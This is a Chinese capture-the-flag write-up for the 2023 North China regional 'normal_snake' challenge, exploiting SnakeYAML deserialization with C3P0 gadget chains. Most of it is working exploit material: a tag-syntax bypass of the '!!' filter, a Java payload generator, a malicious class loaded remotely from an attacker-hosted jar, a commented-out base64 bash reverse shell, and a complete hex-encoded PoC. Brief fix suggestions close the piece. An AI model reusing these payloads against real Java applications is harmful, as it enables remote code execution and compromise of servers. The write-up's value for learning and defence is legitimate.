2023 华北分区赛 normal_snake
国赛终于解出Java题了,顺利拿下一血,思路之前也学过。继续加油
normal_snake
题目解读
@RequestMapping({"/read"})
public String hello(@RequestParam(name = "data", required = false) String data, Model model) {
try {
if (data.contains("!!"))
return "pls dont do that!!!";
new SafeConstructorWithException(data);
Yaml yaml = new Yaml();
yaml.load(data);
return "Well done";
} catch (SafeStringException e) {
return "Unsafe data detected!";
} catch (CustomException e) {
return "No way to pass!";
} catch (Exception e) {
return "snake snake snake!";
}
}
hello 路由下存在 SnakeYaml 反序列化漏洞,禁用了 yaml 的常用头 !!。但是可以通过 tag 头进行绕过
!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl>\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true
!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true
或者是
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]
SafeConstructorWithException 中过滤了常见的 payload 关键字,HEX 编码部分禁用了 BadAttributeValueExpException 和 HotSwappableTargetSource。这些都不重要
private void checkForExceptions() throws RuntimeException, RuntimeException {
String upperCaseData = this.data.toUpperCase();
if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC")) {
if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) {
throw new RuntimeException("No way to pass!");
}
} else {
throw new RuntimeException("Unsafe data detected!");
}
}
攻击 break
给了C3P0的依赖,所以肯定是用C3P0来打
C3P0 利用链
C3P0 主要有以下利用链:
| 触发点 | 功效 | 适用性 |
|---|---|---|
| JndiRefForwardingDataSource#setLoginTimeout -- InitialContext#lookup | Jndi 注入 | fastjson/snakeyaml/jackson |
| WrapperConnectionPoolDataSource#setUserOverridesAsString -- ObjectInputStream#readObject | Hex 解码后触发原生反序列化 | fastjson/snakeyaml/jackson |
| com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- InitialContext#lookup | Jndi 注入 | Java原生反序列化 |
| com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- URLClassLoader | URLCLassLoader 远程类加载 | Java原生反序列化 |
| com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- BeanFactory#getInstance | 不出网的命令注入 | Java原生反序列化不出网 |
JndiRefForwardingDataSource:Jndi 注入
com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds) 可以触发 jndi 注入
com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds)
-com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()
-com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()
-InitialContext#lookup()
SnakeYaml 可以触发该 setter 方法
String poc_snakeyaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n jndiName: \"rmi://127.0.0.1:1234/Exploit\"\n loginTimeout: 0";
WrapperConnectionPoolDataSource:Hex 二次反序列化
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";
简单解释一下为什么 SnakeYaml 可以触发 Hex 二次反序列化这条链子:首先 SnakeYaml 在反序列化的时候会根据 yaml 中的类属性描述进行相关 setter 方法并调用
WrapperConnectionPoolDataSourceBase 是 WrapperConnectionPoolDataSource的父类
com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString在 snakeyaml 反序列化的时候会被调用
public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException
{
String oldVal = this.userOverridesAsString;
if ( ! eqOrBothNull( oldVal, userOverridesAsString ) )
vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
this.userOverridesAsString = userOverridesAsString;
}
然后经过一系列调用栈
java.beans.VetoableChangeSupport#fireVetoableChange(String propertyName, Object oldValue, Object newValue)
-java.beans.VetoableChangeSupport#fireVetoableChange(PropertyChangeEvent event)
-java.beans.VetoableChangeListener#vetoableChange()
-C3P0ImplUtils#parseUserOverridesAsString()
-com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[] bytes)
-com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)
C3P0ImplUtils#parseUserOverridesAsString方法:从形参处截取掉HASM_HEADER:HexAsciiSerializedMap字符串然后进行hex解码为字节数组
com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)处理字节数组调用原生反序列化。
public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:jndi 注入
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
-IndirectlySerialized#getObject()
-com.mchange.v2.naming.ReferenceIndirector#getObject()
-InitialContext#lookup()
com.mchange.v2.naming.ReferenceIndirector#getObject() 内部可以触发 JNDI 注入
具体怎么得到正确的序列化流下部分讲解
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:远程类加载
利用链可参考ysoerial
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
-IndirectlySerialized#getObject()
-com.mchange.v2.naming.ReferenceIndirector#getObject()
-com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)
-URLClassLoader
com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)这里会获取通过 URLClassLoader 来加载远程的类并进行初始化和 getObjectInstance 方法的调用。因此可以直接在静态块里面放入恶意数据进行RCE
PoolBackedDataSourceBase 反序列化
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject() 
红框中的 ois.readObject() 获取的是 IndirectlySerialized 对象,IndirectlySerialized 是一个接口,其的唯一子类是 ReferenceSerialized,但是 ReferenceSerialized 是 ReferenceIndirector 类内部的私有类,该类不能进行初始化操作。所以我们现在要康康 writeObject 是如何将 ReferenceSerialized 写入到序列化流中的
PoolBackedDataSourceBase 序列化
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject() 中,如果序列化的类是不可序列化的话(NotSerializableException),将会在 catch 块中对 connectionPoolDataSource 属性用 ReferenceIndirector.indirectForm 方法处理后再进行序列化操作。(connectionPoolDataSource 属性是 ConnectionPoolDataSource 类的实例)
ReferenceIndirector.indirectForm 方法中会取出参数 ConnectionPoolDataSource 实例中的 Reference 对象并构造出可序列化的 ReferenceSerialized 对象并返回
public IndirectlySerialized indirectForm( Object orig ) throws Exception
{
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}
ReferenceSerialized( Reference reference,
Name name,
Name contextName,
Hashtable env )
{
this.reference = reference;
this.name = name;
this.contextName = contextName;
this.env = env;
}
所以我们就需要序列化一个没有实现 Serializable 接口的 ConnectionPoolDataSource 的实例才能将 IndirectlySerialized 写入到序列化流中,ConnectionPoolDataSource 接口有俩个子类,不过遗憾的是它们俩都可以被序列化
- WrapperConnectionPoolDataSource
- JndiRefConnectionPoolDataSource
那么只能自己写一个实现 ConnectionPoolDataSource 接口的类但是不可被序列化的类咯
class C3P0DataSource implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
Reference reference = new Reference("Payload8","Payload8","http://172.1.39.101:5555/payload8.jar");
return reference;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
大功告成
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:BeanFactory不出网
JAVA反序列化之C3P0不出网利用 和 JNDI 高版本注入很像
解题思路
因为题目的入口点是 Yaml.load 然后又给了 C3P0 依赖,又过滤了 jndi 之类的关键字,所以能想到肯定是 SnakeYaml + C3P0 的 HEX 二次反序列化。根据上面的 5 条 C3P0 利用链,选择 SnakeYaml 反序列化触发原生反序列化
WrapperConnectionPoolDataSource#setUserOverridesAsString -- ObjectInputStream#readObject
然后再触发远程类加载或者jndi注入
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- InitialContext#lookup
or
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- URLClassLoader
这俩种都可以,我最后选择了 URLClassLoader 远程加载类来触发
EXP
生成序列化内容:
public class Main2 {
private static String string = "";
private static byte[] data;
public static void main(String[] args) throws Exception {
//URLClassLoader
C3P0DataSource c3P0DataSource = new C3P0DataSource();
Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Constructor declaredConstructor = clazz.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
PoolBackedDataSourceBase poolBackedDataSourceBase = (PoolBackedDataSourceBase)declaredConstructor.newInstance();
setFieldValue("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase",poolBackedDataSourceBase,"connectionPoolDataSource",c3P0DataSource);
serialize(poolBackedDataSourceBase);
//unserialize();
String hexAscii = ByteUtils.toHexAscii(data);
System.out.println(hexAscii);
String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";
System.out.println(poc);
Yaml yaml = new Yaml();
//yaml.load(poc);
}
public static void setFieldValue(String className,Object object, String field_name, Object field_value) throws Exception {
Class clazz = Class.forName(className);
Field declaredField = clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,field_value);
}
public static void serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
//string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
data = byteArrayOutputStream.toByteArray();
}
public static void unserialize() throws Exception {
//ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
class C3P0DataSource implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
Reference reference = new Reference("Payload8","Payload8","http://127.0.0.1:5555/payload8.jar");
//Reference reference = new Reference("Payloadxx","Payloadxx","");
return reference;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
需要提前准备恶意类,并将其打包成 jar 包
public class Payload8 {
private static final long serialVersionUID = 1593252632163539756L;
static{
String string = "calc";
String[] commands = null;
String command = "";
if (System.getProperty("os.name").toLowerCase().contains("win")) {
commands = new String[]{"cmd", "/c", string};
} else {
//command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMS4zOS4xMDUvNzc3NyAwPiYxCg==}|{base64,-d}|{bash,-i}";
}
try {
Runtime.getRuntime().exec(commands);
//Runtime.getRuntime().exec(command);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
打 jar 包命令:
jar -cvf payload8.jar .
然后再本地打开监听端口
python -m http.server 5555
最后的 Poc:
!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: "HexAsciiSerializedMap:ACED000573720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00024C000D6964656E74697479546F6B656E71007E00024C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E00084C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00024C0014636C617373466163746F72794C6F636174696F6E71007E00024C0009636C6173734E616D6571007E00027870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A70707070707070707070787400085061796C6F616438740022687474703A2F2F3132372E302E302E313A353535352F7061796C6F6164382E6A617271007E001470737200256A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654D6170F1A5A8FE74F507420200014C00016D71007E00037870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F400000000000007708000000100000000078707077040000000378;"}
url 全编码打一下
修复 Fix
俩处任意修复一处就行吧
Fix1:
if (data.contains("!!") || data.contains("!<tag") || data.contains("tag"))
return "pls dont do that!!!";
Fix2:
if (upperCaseData.contains("JAVA") || upperCaseData.contains("JNDI") || upperCaseData.contains("JDBC") || upperCaseData.contains("HEXASCIISERIALIZEDMAP") || upperCaseData.contains("ACED"))
throw new SafeStringException("Unsafe data detected!");
2023 华北分区赛 normal_snake的更多相关文章
- 强国杯东杯分区赛miscwp
目录 不要被迷惑 PCAP文件分析 平正开 不要被迷惑 编辑 导出http 编辑 得到flag.zip后直接爆破密码 编辑 得到编辑 然后一键解码 编辑 flag{WImuJeqSNPh ...
- angularJs的ng-class切换class
在angular中为我们提供了3种方案处理class: 1:scope变量绑定 2:字符串数组形式. 3:对象key/value处理. 第一种我们不推荐使用,看看其他两种解决方案: 字符串数组形式 字 ...
- ACRush 楼天成回忆录
楼教主回忆录: 利用假期空闲之时,将这几年 GCJ , ACM , TopCoder 参加的一些重要比赛作个回顾.首先是 GCJ2006 的回忆. Google Code Jam 2006 一波三折: ...
- 楼天城楼教主的acm心路历程(作为励志用)
楼主个人博客:小杰博客 利用假期空暇之时,将这几年GCJ,ACM,TopCoder 參加的一些重要比赛作个 回顾.昨天是GCJ2006 的回顾,今天时间上更早一些吧,我如今还清晰记得3 年 前,我刚刚 ...
- 实战经验|大神战队都在i春秋教你打CTF
全国大学生信息安全竞赛创新实践能力赛旨在培养.选拔.推荐优秀信息安全专业人才创造条件,促进高等学校信息安全专业课程体系.教学内容和方法的改革,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学 ...
- 我的大学,我的SPR机器人队
时间过的真快,我这个在协会呆了好多年的老油条今年都毕业了,在石油大学大学七年几乎三分之二的时间就是在协会度过的.实话说在北京这是我最亲切的地方,这里有我喜欢的各种设备,有亲爱的老师和一起奋斗的队友,在 ...
- 【转】楼天城楼教主的acm心路历程(作为励志用)
利用假期空闲之时,将这几年GCJ,ACM,TopCoder 参加的一些重要比赛作个回顾.昨天是GCJ2006 的回忆,今天时间上更早一些吧,我现在还清晰记得3 年前,我刚刚参加ACM 时参加北京赛区2 ...
- 关于2018年东南大学Robomaster算法组工作的总结
笔者在写作时,为东南大学机器人俱乐部下Robomaster大赛SUPER NOVA战队算法组的负责人之一(这名字写起来好长).而SUPER NOVA战队则于2018年5月19日正式结束了中部分区赛,获 ...
- 剪辑的楼天城的ACM之路
楼天城楼教主的acm心路历程(剪辑) 利用假期空闲之时,将这几年GCJ,ACM,TopCoder 参加的一些重要比赛作个回顾.昨天是GCJ2006 的回忆,今天时间上更早一些吧,我现在还清晰记得3 年 ...
- 楼塔当天领袖acm心理(作为励志使用)
楼主个人博客:吉尔博客 假期空闲的时候使用.这些年来GCJ.ACM,TopCoder 的一个号码的一重要的比赛的参与 回顾.GCJ2006 的回顾,今天时间上更早一些吧,我如今还清晰记得3 年 前.我 ...
随机推荐
- 亚马逊商品页面爬取(使用headers字段).py(亲测有效)
import requests def getHTMLText(url): try: kv = {'user-agent':'Mozilla/5.0'} # 请求头;指定访问浏览器为Mozilla5. ...
- 支付回调MQ消息的幂等处理及MD5字符串es中的使用及支付宝预授权完成
支付回调MQ消息的幂等处理及MD5字符串es中的使用及支付宝预授权完成 1.幂等的处理,根据对象的转json 转md5作为key,退款的处理 控制发送端?业务上比较难控制.支付异步通知,退款有同步通知 ...
- 明解STM32—GPIO理论基础知识篇之寄存器原理
一.前言 在之前的STM32的GPIO理论基础知识中,分别对基本结构和工作模式进行了详细的介绍.GPIO基本结构中主要对GPIO内部的各个功能电路逐一的进行的分析:GPIO工作模式中主要介绍GPI ...
- 部署lnmp环境,安装typecho博客
安装nginx和PHP环境 root@cby:~# apt install nginx php7.4 php7.4-mysql php7.4-fpm 修改nginx配置文件 root@cby:~# v ...
- Mybatis的整体理解
I有关于我的对ybatis的设想: 简单总结-下有关于我对wybat is的架构理解: 总体分为三个层面: 1.对外接口API 2.MapStatement数据处理 3.执行及其数据存储 两个主要的对 ...
- 颜值即正义,献礼就业季,打造多颜色多字体双飞翼布局技术简历模版(Resume)
一年好景君须记,最是橙黄橘绿时.金三银四,秣马厉兵,没有一个好看的简历模板怎么行?无论是网上随便下载还是花钱买,都是一律千篇的老式模版,平平无奇,味同嚼蜡,没错,蜡都要沿着嘴角流下来了.本次我们基于H ...
- 【从零开始】Docker Desktop:听说你小子要玩我
前言 缘由 捡起遗忘的Docker知识 由于本狗近期项目紧任务重,高强度的搬砖导致摸鱼时间下降.在上线项目时,看到运维大神一系列骚操作,docker+k8s的知识如过眼云烟,忘得干净的很.所以想重新恶 ...
- 吃透SpringMVC面试八股文
说说你对 SpringMVC 的理解 SpringMVC是一种基于 Java 的实现MVC设计模型的请求驱动类型的轻量级Web框架,属于Spring框架的一个模块. 它通过一套注解,让一个简单的Jav ...
- 【Visual Leak Detector】源码编译 VLD 库
说明 使用 VLD 内存泄漏检测工具辅助开发时整理的学习笔记.本篇介绍 VLD 源码的编译.同系列文章目录可见 <内存泄漏检测工具>目录 目录 说明 1. VLD 库的依赖文件 2. 源码 ...
- std::cin 和 std::getline 混用的问题
如果存在如下的输入, 11 is a prime 考虑如下的程序, std::cin>>number; std::getline(std::cin,input) std::cin 在读取数 ...